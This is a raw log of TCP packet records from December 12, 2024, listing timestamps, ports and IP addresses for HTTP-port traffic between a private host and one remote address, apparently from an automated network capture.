Dec 12, 2024 21:50:58.943345070 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.058119059 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.058185101 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.058218002 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.058341026 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.058641911 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.058756113 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.058865070 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.059937954 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.059967995 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.060200930 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.061172009 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.061196089 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.061250925 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.061250925 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.062489033 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.062509060 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.062534094 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.062777042 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.063646078 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.064522982 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.064765930 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.064795017 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.064914942 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.064940929 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.066212893 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.066235065 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.066289902 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.066289902 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.067233086 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.067292929 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.067348003 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.067445993 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.068648100 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.068670988 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.068811893 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.069863081 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.069883108 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.069909096 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.069999933 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.070961952 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.071090937 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.071177959 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.072171926 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.072190046 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.072236061 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.072236061 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.073317051 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.073570013 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.073585033 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.074145079 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.074691057 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.074711084 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.074765921 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.074765921 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.075637102 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.075830936 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.076581955 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.076973915 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.077003002 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.078202009 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.078228951 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.078232050 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.078253031 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.079128981 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.079297066 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.079366922 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.079482079 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.080430984 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.080499887 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.080526114 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.081628084 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.081829071 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.081855059 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.081921101 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.082963943 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.082979918 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.083039999 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.083040953 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.084031105 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.084203005 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.084213018 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.084481001 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.085310936 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.085371971 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.085395098 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.086384058 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.086694002 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.086699963 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.086787939 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.087732077 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.087748051 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.087858915 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.088987112 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.089004993 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.089071989 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.089071989 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.090280056 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.090296984 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.090357065 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.090357065 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.091334105 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.091353893 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.091531038 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.092583895 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.092628956 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.092746973 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.093854904 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.093892097 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.094336987 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.094904900 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.095032930 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.095036983 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.095349073 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.096093893 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.096193075 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.096503973 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.097527981 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.097570896 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.097604036 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.098551035 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.098790884 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.098822117 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.099353075 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.099666119 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.100032091 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.100152969 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.100976944 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.101015091 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.101128101 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.102333069 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.102395058 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.102839947 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.103389978 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.103476048 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.103507996 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.103646040 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.104473114 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.104590893 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.104717970 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.105798006 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.105835915 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.105967045 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.107011080 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.107050896 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.107366085 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.108192921 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.108230114 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.108917952 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.109409094 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.109446049 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.109473944 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.109534025 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.110682964 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.110804081 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.110946894 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.111701965 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.111850023 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.112175941 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.112883091 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.112962961 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.113106012 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.114103079 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.114224911 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.114320993 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.115376949 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.115396023 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.115608931 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.116679907 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.116698027 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.116755009 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.116755009 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.118053913 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.118076086 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.118940115 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.119132996 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.119159937 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.120141983 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.120168924 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.120291948 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.121347904 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.121375084 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.124017954 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.250291109 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.250320911 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.250372887 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.250431061 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.250730991 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.250793934 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.250825882 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.250974894 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.251929998 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.251985073 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.252031088 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.252095938 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.253148079 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.253211021 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.253259897 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.253309965 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.254301071 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.254412889 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.254456997 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.254580975 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.255470037 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.255594969 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.255620956 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.255791903 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.256764889 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.256825924 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.256895065 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.256943941 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.257904053 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.258136988 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.258151054 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.258821964 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.259052038 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.259171009 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.259198904 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.259637117 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.260204077 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.260261059 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.260325909 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.260387897 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.261383057 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.261503935 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.261511087 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.261574030 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.262533903 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.262670994 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.262697935 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.262770891 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.263741970 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.263879061 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.264620066 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.265263081 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.265342951 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.265433073 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.265542030 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.266156912 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.266242981 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.266251087 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.266335011 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.267311096 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.267393112 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.267415047 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.267621040 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.268585920 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.268707991 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.268729925 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.268790007 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.269726038 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.269839048 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.269869089 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.269936085 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.270872116 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.270939112 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.270958900 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.271044970 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.272023916 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.272140026 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.273102045 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.273255110 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.273318052 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.273354053 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.273487091 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.274398088 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.274523020 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.275471926 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.275587082 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.275633097 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.275810003 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.276793003 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.276879072 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.276920080 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.277106047 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.277926922 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.278037071 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.278067112 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.278095007 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.279159069 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.279216051 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.279270887 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.280359030 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.280414104 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.280469894 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.280469894 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.281436920 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.281492949 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.281573057 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.281974077 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.282668114 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.282785892 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.282815933 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.282885075 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.283878088 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.283936977 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.283989906 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.284182072 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.284992933 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.285109997 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.285114050 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.285216093 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.286207914 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.286329031 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.286381960 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.286381960 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.287421942 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.287477970 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.287508011 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.287652016 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.288589954 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.288646936 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.288652897 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.288727999 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.289758921 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.289834976 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.289870977 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.289933920 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.291053057 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.291109085 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.291137934 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.291178942 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.292145014 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.292205095 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.292293072 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.292620897 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.293303967 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.293405056 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.293420076 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.293478966 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.294475079 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.294600964 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.294619083 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.294801950 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.295661926 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.295793056 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.295847893 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.296041965 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:59.296891928 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:59.296948910 CET	80	50006	31.41.244.11	192.168.2.6
